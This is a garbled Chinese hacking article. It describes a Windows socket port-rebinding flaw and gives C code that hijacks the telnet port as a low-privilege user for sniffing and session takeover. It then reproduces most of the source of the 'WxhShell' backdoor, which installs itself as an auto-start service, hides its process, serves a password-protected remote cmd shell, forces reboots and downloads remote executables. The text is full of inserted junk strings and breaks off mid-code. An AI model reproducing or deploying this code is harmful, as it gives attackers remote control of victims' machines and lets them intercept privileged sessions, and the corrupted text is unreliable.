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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )` S,vF~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 68R[Lc9q5 ^lB'7#7 saddr.sin_family = AF_INET; %"@KuqV KcP86H52I saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2#5SI <pRb#G" bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); mY2Ubn* gPY2Bnw;l 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zzy%dc ~h?zK1 这意味着什么?意味着可以进行如下的攻击: ? e%Pvy<i <LQwH23@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )El#Ks5u I(ds]E
;_E 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S/]2Qt#T |eWlB\ x8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V3K
^3IO.`| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 2 @Jw?+}vr FVsVY1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 OOs Y{8xM Z1u{.^~ ^z 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5YMjvhr?W rC}r99Pe:x 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 B|gyr4] &%L1n?>Q} #include #A@*k}/+ #include [GZ%K`wx #include rgdDkWLXC #include ^KhA\MzY DWORD WINAPI ClientThread(LPVOID lpParam); qYZX,
x int main() {e0cc1Up} { #, W7N_mt WORD wVersionRequested; >%x7-->IB DWORD ret; ,95Nj h WSADATA wsaData; 1XUsr;Wz BOOL val; ZJ'#XZpr SOCKADDR_IN saddr; rq Dre`m SOCKADDR_IN scaddr; <H`&Zqqk int err; _CDUUr SOCKET s; F#eZfj~ SOCKET sc; #GT/Q3{C int caddsize;
TB\#frG HANDLE mt; l4u_Z:<w DWORD tid; qk{2%,u$@{ wVersionRequested = MAKEWORD( 2, 2 ); ComVY4, err = WSAStartup( wVersionRequested, &wsaData ); \-$wY%7 if ( err != 0 ) { 6MvjNbQ printf("error!WSAStartup failed!\n"); Eb{Zm<TP return -1; 4,!#E0 } v^0D saddr.sin_family = AF_INET; @v\Osp t= L,M=ogdb //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BSYJ2 d}j%.JJK saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Lqq
RuKi saddr.sin_port = htons(23); FM$XMD0= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #S)+eH { <0g.<n, printf("error!socket failed!\n"); RTHD2 return -1; b(+M/O>I } eG*<=.E val = TRUE; t Sran //SO_REUSEADDR选项就是可以实现端口重绑定的 fT.18{'> if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) AE? 0UVI { S#_g/3w printf("error!setsockopt failed!\n"); _[u&}i return -1; 0F> ils } #N9^C@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E j` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Fv$5Zcf //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d"o5uo ,|6O}E&
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r0t4\d_& { E7X6Shng ret=GetLastError(); Q46^i7= printf("error!bind failed!\n"); Yci>'$tQ return -1; {~q"Y]? } 2-=Ov@y2k! listen(s,2); #0>??]&r while(1) EZnXS"z { ._'AJhU$0 caddsize = sizeof(scaddr); 4'u +%6+__ //接受连接请求 " E+V>V+ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8p D$/ if(sc!=INVALID_SOCKET) ZD!?mR+- { %PA#x36 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); EMy>X if(mt==NULL) t7GK\B8: { ov;1=M~RF printf("Thread Creat Failed!\n"); E,IeW {6s break; ls[0X82F } fghw\\]3 } p GZiADT CloseHandle(mt); >,%or cN } @7S*
] closesocket(s); vYl2_\,Y? WSACleanup(); ozaM!e e\z return 0; FgwIOpqE* } `>ppDQaS)W DWORD WINAPI ClientThread(LPVOID lpParam) U]Y</>xGI
{ T.d1? SOCKET ss = (SOCKET)lpParam; OHRkhwF. SOCKET sc; <|-da&7 unsigned char buf[4096]; >lPWji'4; SOCKADDR_IN saddr; Lf0X(tC long num; w?#s)z4}g DWORD val; &|9K~#LVS DWORD ret; _c!$K#Yl{ //如果是隐藏端口应用的话,可以在此处加一些判断 Gxh r0' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 (>.lkR saddr.sin_family = AF_INET; <n1panS saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q DVk7ks saddr.sin_port = htons(23); hs^K9Jt if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i0}f@pCB?X { l+nT$IPF printf("error!socket failed!\n"); NHaY&\ return -1; ;_X2E~i[ } J7;8
S val = 100; 0SjB&J if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y5{Vx{V"Q { .Gt_~x ret = GetLastError(); ]?G|:Kx$y% return -1; a%nf
)-}| } %*
k`z#b if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;rRV=$y { FG!2h&k ret = GetLastError(); =u-q#<h4; return -1; ~ &<Ls } QHXA?nBX if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [XE\2Qa8e { ^c<8|lK L@ printf("error!socket connect failed!\n"); \483S]_-z{ closesocket(sc); Y&<]:) closesocket(ss); 2@N9Zk{{J return -1; ^H0#2hFa } >PzZt8e while(1) ,!40\"A { HLkI?mW< //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k|,Y_h0Y //如果是嗅探内容的话,可以再此处进行内容分析和记录 -7KoR}Ck! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
kRjNz~g num = recv(ss,buf,4096,0); ~&aULY?)] if(num>0) Aydpr_lp send(sc,buf,num,0); WG&! VK else if(num==0) z/]]u.UP break; _7z]zy@PC5 num = recv(sc,buf,4096,0); -=cm7/X if(num>0) "} "/d( send(ss,buf,num,0); A`#?Bj else if(num==0) @eM$S5&n$ break; mlxtey6H3 } O/U? Wq closesocket(ss); ^TD%l8o6 closesocket(sc); F$-f j "jC return 0 ; -g."{| } Z($i+L% . !Rc
% 5E]iv^q% ========================================================== oI!"F=?&6 @ x .`z 下边附上一个代码,,WXhSHELL DS;\24>H 0hhxTOp
========================================================== {i+
o'Lw Ims? #include "stdafx.h" Wsgp#W+ `#'j3,\6 #include <stdio.h> 3"zPG~fY{ #include <string.h> tfe]=_U #include <windows.h> ^.R!sQ #include <winsock2.h> Qu1&$oO #include <winsvc.h> g^Hf^%3xP #include <urlmon.h> W+GC3W +SF+$^T #pragma comment (lib, "Ws2_32.lib")
?HRS* #pragma comment (lib, "urlmon.lib") m 94PFD@N ;<q2 #define MAX_USER 100 // 最大客户端连接数 {Ef.wlZ #define BUF_SOCK 200 // sock buffer ?Wz2J3A.2t #define KEY_BUFF 255 // 输入 buffer HHZw-/s,% !(7m/R #define REBOOT 0 // 重启 h]h"-3 #define SHUTDOWN 1 // 关机 $cK}Tlq Ufl\
uq3'H #define DEF_PORT 5000 // 监听端口 JRi:MWR<r @"`}%-b #define REG_LEN 16 // 注册表键长度 ^utOVi #define SVC_LEN 80 // NT服务名长度 -yB}(69 z]r'8Jc // 从dll定义API G"`
}"T0} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (BPO*' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YTFU#F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {ibu0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C 2nmSXV _Iminet // wxhshell配置信息 X5YOxMq struct WSCFG { Gn=b_! int ws_port; // 监听端口 {N>ju char ws_passstr[REG_LEN]; // 口令 COsmVQ. int ws_autoins; // 安装标记, 1=yes 0=no Fy"M 4;7 char ws_regname[REG_LEN]; // 注册表键名 W]#w4Fp! char ws_svcname[REG_LEN]; // 服务名 ,\J 8(,%L char ws_svcdisp[SVC_LEN]; // 服务显示名 ':fp|m)M char ws_svcdesc[SVC_LEN]; // 服务描述信息 %Y%r2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a51e~mg Z` int ws_downexe; // 下载执行标记, 1=yes 0=no x)*Lu"> char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ,eBC]4)B6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /^AH/,p *0xL( }; I4G0!"T+ 4WvW11q8U // default Wxhshell configuration jcJ 4? struct WSCFG wscfg={DEF_PORT, +Q u.86dH "xuhuanlingzhe", {6H[[7i 1, h40;Q<D "Wxhshell", salC4z3 "Wxhshell",
xcr2| "WxhShell Service", fr/EkL1Dl "Wrsky Windows CmdShell Service", `s)4F~aVo "Please Input Your Password: ", )vS0Au^C~ 1, UqI #F " http://www.wrsky.com/wxhshell.exe", n7fhc*}:` "Wxhshell.exe" Z?{\34lPj }; dhtH&:J<; &N^~=y^`C' // 消息定义模块 E xhih^[_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U0_)J1Yp char *msg_ws_prompt="\n\r? for help\n\r#>"; d}4NL:=& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; @4*:qj? char *msg_ws_ext="\n\rExit."; 0~fjY^( char *msg_ws_end="\n\rQuit."; AB'+6QU9k char *msg_ws_boot="\n\rReboot..."; h p|v?3( char *msg_ws_poff="\n\rShutdown..."; @}Hu)HO char *msg_ws_down="\n\rSave to "; ^[7Mp 'nq=xi@RC char *msg_ws_err="\n\rErr!"; {!|4JquE_ char *msg_ws_ok="\n\rOK!"; $\BYN=# f\hMTebma$ char ExeFile[MAX_PATH]; 7<xnE]jdq int nUser = 0; Q-w# !<L. HANDLE handles[MAX_USER]; =:&xdphZ+ int OsIsNt; mLuNl^)3 W<)P@_+- SERVICE_STATUS serviceStatus; 8:{id>Mm^ SERVICE_STATUS_HANDLE hServiceStatusHandle; tVRN3fJH op}!1y$9P // 函数声明 *SNdU^! int Install(void); 2%pED
xui int Uninstall(void); rM7qBt int DownloadFile(char *sURL, SOCKET wsh); N]+6< int Boot(int flag); 13s/m& void HideProc(void); wmr?ANk int GetOsVer(void); UTkPA2x int Wxhshell(SOCKET wsl); V\Cl""`XN void TalkWithClient(void *cs); (!nkv^] int CmdShell(SOCKET sock); yNns6 int StartFromService(void); (t-hi8" int StartWxhshell(LPSTR lpCmdLine); u(f jA{5)-g VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dQj/Sr VOID WINAPI NTServiceHandler( DWORD fdwControl ); i5}Z k r DO:,PZX // 数据结构和表定义 J9mK9{#q SERVICE_TABLE_ENTRY DispatchTable[] = ?#K.D vGJ { *C*ZmC5 {wscfg.ws_svcname, NTServiceMain}, n-ffX*zA( {NULL, NULL} uE's&H }; 4EqThvI{ }93kHO{ // 自我安装 H3rA
?F#+* int Install(void) e"04jd/ { A"JdG%t>.h char svExeFile[MAX_PATH]; Fv~lasW[ HKEY key; !J7`frv"( strcpy(svExeFile,ExeFile); -8n1y[ ,clbD4 // 如果是win9x系统,修改注册表设为自启动 E`fG9:6l] if(!OsIsNt) { 7H3v[ f^Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y74Q( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DhM=q RegCloseKey(key); '8q3ub<\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sq'm)g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZexC3LD" RegCloseKey(key); U<j5s\Y, return 0; jR/Gd01) } 6 eSo.@*l } k)b{UFRW } d1D
f` else { k$kE5kh,S At.&$ t // 如果是NT以上系统,安装为系统服务 KR?;7*qF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {xTq5`&gT if (schSCManager!=0) rRe5Q { F1yn@a "=J SC_HANDLE schService = CreateService Nh!`"B2B ( R
(f:UC schSCManager, wo`.sB&T wscfg.ws_svcname, ]K(a32V CH wscfg.ws_svcdisp, |Rfj
0+ SERVICE_ALL_ACCESS, i<ES/U\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J||g(+H> SERVICE_AUTO_START, ,l>w9?0Z SERVICE_ERROR_NORMAL, eHgr"f*7
svExeFile, @8W@I| NULL, >fC&bab NULL, )U\i7[k> NULL, HkD.W6A3 NULL, a OmG, +o NULL zB%~=@Q^6 ); pf8'xdExH) if (schService!=0) 85E$m'0O { ko}& X= CloseServiceHandle(schService); ='"Yj CloseServiceHandle(schSCManager); *ra)u- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?AFb& strcat(svExeFile,wscfg.ws_svcname); gT8(LDJ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Nn_fhc> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,l&?%H9q RegCloseKey(key); .BPd06y return 0; 08ZvRy(Je< } H>+/k-n- } UuIjtqW CloseServiceHandle(schSCManager); 2VV>?s } ,ojJ;w5D } ~ikp'5 7@{%S~TN return 1; Be{@ L } XoyxS:=>|[ I[%IW4jJ // 自我卸载 Z. ${WZW int Uninstall(void) 'ON/WKJr|W { dg|+?M^9` HKEY key; 8$-MUF, UA.Tp [u if(!OsIsNt) { #.Dl1L/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F.TIdkvp RegDeleteValue(key,wscfg.ws_regname); $@VJ@JAe RegCloseKey(key); ,i*rHMe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 72|g zm RegDeleteValue(key,wscfg.ws_regname); *$7^.eHfdd RegCloseKey(key); A6szTX#0 return 0; "*zDb|v } 3JD62wtx } m !:F/?B } ^fKKsfIf else { \WE/#To moM'RO,M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =F[M>o if (schSCManager!=0) ,8*A#cT
B { )-+tN>Bb SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xpa+R^D5G if (schService!=0) 9@t&jznt< {
G,A?yM'Vw if(DeleteService(schService)!=0) { C=c&.-Nb9 CloseServiceHandle(schService); WA}'[h CloseServiceHandle(schSCManager); a3A-N] ;f return 0; AYNz {9 } .dzw5R& CloseServiceHandle(schService); 5@.8O VPz } KUW )F CloseServiceHandle(schSCManager); <> =(BAw } 9on$0 } >o"s1*
{ xD7Y"%Pbx return 1; eI2041z } P3bRv^ i_L u // 从指定url下载文件 d>M 0: int DownloadFile(char *sURL, SOCKET wsh) tklS=R^Vn { !6.LSY,E HRESULT hr; bjUe+#BL char seps[]= "/"; jhG6,;1zMI char *token; GLY,<O>D5 char *file; fk^DkV^< char myURL[MAX_PATH]; 3Mh_&%!O char myFILE[MAX_PATH]; o)\EfPT [Qk j} strcpy(myURL,sURL); Pd:tRY+t/ token=strtok(myURL,seps); CNiJuj` while(token!=NULL) 0Q%I[f8 { <O9WCl file=token; bN*zx)f token=strtok(NULL,seps); }2y"F@{T } a6T!)g ;XY#Jl>tg GetCurrentDirectory(MAX_PATH,myFILE); I<lkociUCG strcat(myFILE, "\\"); #r&yH^- strcat(myFILE, file); =aT8=ihP send(wsh,myFILE,strlen(myFILE),0); "gpfD-BX send(wsh,"...",3,0); N*w{NB 7L hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n-9X<t|*?a if(hr==S_OK) ,J*#Ixe} return 0; pv|D{39Hs else uN9.U _ return 1; [:Odb?+ `F ]N'4q}<5o } ;hDIoSz XK
l3B=h // 系统电源模块 9OF(UFgS int Boot(int flag) (j}Wt8 { i#lO{ ] HANDLE hToken; t;%MSedn TOKEN_PRIVILEGES tkp; AK;G_L {7Ez7'SVV if(OsIsNt) { 9hwn,=Vh) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ">I50#bT LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5[qx5|O tkp.PrivilegeCount = 1; fwyz|>H_Y( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j"+R*H(# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n]Jfd I if(flag==REBOOT) { +>h'^/rAE if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vw
q Y;7 return 0; nG5:H.) } ?6^KY+ 5`C else { @h\u}Ee if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gJn_8\,C>Q return 0; c;7ekj } 9%uJ:c? } u-Ip *1/wp else { Qgv-QcI{ if(flag==REBOOT) { /Big^^u if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QXT*O return 0; oY%NDTVN } a_(vpD^ else { b!|c:mE9| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G0h7MO%x return 0;
Et0;1 } au1(.( } ~); 7D'[ #$>m`r return 1; {@[z-)N7\, } #PRkqg+| Ik|nL#JH] // win9x进程隐藏模块 '%9e8C| void HideProc(void) RV:%^=V- { 3+jqf@ fO oW/ #/;|` HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Xn3Ph!\Z5e if ( hKernel != NULL ) 5Y97?n+6 { F.JvMy3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ) >SU J^u ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E|d 8vt FreeLibrary(hKernel); ebS>_jD } ]T! >] $/Q*@4t
return; Ol'Ct'_k," } v [ 4J0 v9OK
< // 获取操作系统版本 ^J]~&.l int GetOsVer(void) #}W^d^-5t5 { /K9Tn OSVERSIONINFO winfo; i7f/r. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aD@sb o GetVersionEx(&winfo); PSQ5/l?\> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =5jX#Dc5.+ return 1; n
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else jR#g>MDKB return 0; d[5?P?h') } [g:ZIl4p\P Bp`?inKBOd // 客户端句柄模块 Ii/#cdgF int Wxhshell(SOCKET wsl) ^[SQw)* { uf (`I SOCKET wsh; K_4}N%P/)) struct sockaddr_in client; &oTUj'$ DWORD myID; !52]'yub EC2KK)=n} while(nUser<MAX_USER) r(IQ)\GR { %B$~yx3# int nSize=sizeof(client); V_?5 cwZ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X/fk&Cp if(wsh==INVALID_SOCKET) return 1; W|o LS Cyg\FHs handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MMglo3 if(handles[nUser]==0) v_PhJKE closesocket(wsh); VQO6!ToKY else PK@hf[YHe nUser++; "k(Ee } 7yLO<o?9w WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _4VF>#b GpV"KVJJ/ return 0; Gk0f#; } uI^E9r/hB FWv-_ // 关闭 socket ,lLkAd?q void CloseIt(SOCKET wsh) GU\}}j] { tY^ MP5* closesocket(wsh); L,L>cmpM nUser--; M/XxiF ExitThread(0); ]4 2bd } )'BuRN8 B>}=x4-8 // 客户端请求句柄 hiWfVz{~ void TalkWithClient(void *cs) gz-X4A" { Q%61_l n$n)!XL/ SOCKET wsh=(SOCKET)cs; y -j3d)T char pwd[SVC_LEN]; c`94a SnV char cmd[KEY_BUFF]; t(YrF, char chr[1]; hm"i\JZ3N int i,j; zrWkz3FN 1'wwwxe7 while (nUser < MAX_USER) { [;3` Aw 1Uz sw if(wscfg.ws_passstr) { ^sR]w]cz. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `,XCD-R^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D7.|UG?G //ZeroMemory(pwd,KEY_BUFF); `wRQ-<Y i=0; @giJ&3S, while(i<SVC_LEN) { a[;TUc^I1F RN(>37B3_ // 设置超时 $Fx:w fd_set FdRead; x_&=IyU0j struct timeval TimeOut; #p@8m_g FD_ZERO(&FdRead); R4+Gmx1 FD_SET(wsh,&FdRead); {[~cQgCI TimeOut.tv_sec=8; %a-*Ku TimeOut.tv_usec=0; 3T)GUzt` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ck-ab0n if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oG5:]/F ?+{=>{1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bvY'=
pwd =chr[0]; 6[g~p< 8n} if(chr[0]==0xd || chr[0]==0xa) { NjT#p8d X pwd=0; U40adP? a break; v0EF?$Wo } KLqn`m`O; i++; {k.Dy92 } m/W0vPM1 %n<u- {` // 如果是非法用户,关闭 socket ^+Ho#] if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )aY^k|I } q:A{@kFq_ N<bNJD} send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oNV5su send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x|B$n} B ="fq.Tt while(1) { o(iv=(o a o_A%?Ld ZeroMemory(cmd,KEY_BUFF); 2w>lnJ- 3fC|}<Wzt // 自动支持客户端 telnet标准 !Gwf"-TQ j=0; }2qmL$ while(j<KEY_BUFF) { E]x)Qr2Ju if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q0Rd^c cmd[j]=chr[0]; joaf0 if(chr[0]==0xa || chr[0]==0xd) { 4}nsW}jCc cmd[j]=0; 9d ZE#l!Q break; V,>_L } Q8:`;W j++; 2?; =TJo$ } Mv9q-SIc[ #@h3#IC // 下载文件 $,+'|_0yM if(strstr(cmd,"http://")) { -!]Ie4" send(wsh,msg_ws_down,strlen(msg_ws_down),0); ![O@{/ if(DownloadFile(cmd,wsh)) n ,<`.^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); F^iv1b else ,,+ ~./) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I"*;fdm } '8g/^Y@ else { @d5G\1(% }NQx2k0 switch(cmd[0]) { BV=L.* F">>,Oc)U" // 帮助 %,9iY&;U" case '?': { RZykwD( send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t
>89(
k break; ,Mwyk1:xix } ypxqW8Xe // 安装 ?L|Jc_E case 'i': { $"Oy } if(Install()) B7Um G)C send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uk5O9D0
He else 9g"
1WZ! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a7G0 break; Is6<3eQ\x } +~ro*{3 // 卸载 bTzVmqGY case 'r': { *b"(r|Ko if(Uninstall()) H~~I6D{8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); W-Cf#o else C~M~2@Iori send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +NRn>1] break; [P*3ld,,G% } 0y4z`rzTn // 显示 wxhshell 所在路径 YWA:741 case 'p': { J.x>*3<l char svExeFile[MAX_PATH]; fM]McZ9)D strcpy(svExeFile,"\n\r"); (sw1HR strcat(svExeFile,ExeFile); OT7F#:2` send(wsh,svExeFile,strlen(svExeFile),0); /p')
u3 break; u!2.[CV } n<:/ X tE // 重启 qQR>z case 'b': { |7Z,z0 ?V send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WfVkewuPo if(Boot(REBOOT)) YgaJ*%\ send(wsh,msg_ws_err,strlen(msg_ws_err),0);
mQ#@"9l% else { x+5Q}ux'G closesocket(wsh); aDa}@-F&a ExitThread(0); xM%E; } |0w'+HaE~N break; 1Qf21oN{ } EU, 4qO // 关机 xiU-}H'o case 'd': { >
3JU send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =!xeki]|9 if(Boot(SHUTDOWN)) W0$G7s send(wsh,msg_ws_err,strlen(msg_ws_err),0); PK C``+Ki else { 8 Oeg"d closesocket(wsh); t; n6Q0 ExitThread(0); u0$7k9mE } ;:*o
P(9k break; f7X#cs)a } tH:ea$A // 获取shell 8BNsh[+ case 's': { ,@!8jar@w} CmdShell(wsh); >4\V/
I closesocket(wsh); ]T^m>v)X ExitThread(0); P0Na<)\'Y! break; #2DH_P } 0s0[U // 退出 /db?ltb case 'x': { ,@='.Qs4g send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sNvT0 CloseIt(wsh); (Wq9YDD@ break; E yNI]XEj } h9+ylHW_cp // 离开 g8XGZW! case 'q': { B<1*p,z send(wsh,msg_ws_end,strlen(msg_ws_end),0); dGIu0\J\$ closesocket(wsh); wt2S[:!p WSACleanup(); e+y< a~N exit(1); lha)' break; Pms3X } zp4ru\ } #j-,#P@ } (dMFYL>YP A</[Q>8 // 提示信息 A ws#>l< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Dm6CH } C2<y(GU[Bh } |~\K:[T& Od&M^;BQ return; sTG+c E } =~=/ d q dt`L}Yi // shell模块句柄 Km,tfM5j int CmdShell(SOCKET sock) X3W)c&Pr { R1Pnj STARTUPINFO si; e982IP ZeroMemory(&si,sizeof(si)); /kw4":{] si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !FSraW2 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #eUfwd6.Y PROCESS_INFORMATION ProcessInfo; K6Gc)jp:b char cmdline[]="cmd"; b,Z&P| CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k2t?e:)3zr return 0; d:pp,N~2o } E*w 2yWR >`{i[60r // 自身启动模式 L//sJe int StartFromService(void) B8_l+dXO { mr('zpkRq typedef struct `|/|ej]$P { !r
LHPg DWORD ExitStatus; [CUJ A DWORD PebBaseAddress; %<M<'jxSca DWORD AffinityMask; Q5<vK{ DWORD BasePriority; Iyc')\W& ULONG UniqueProcessId; jSG
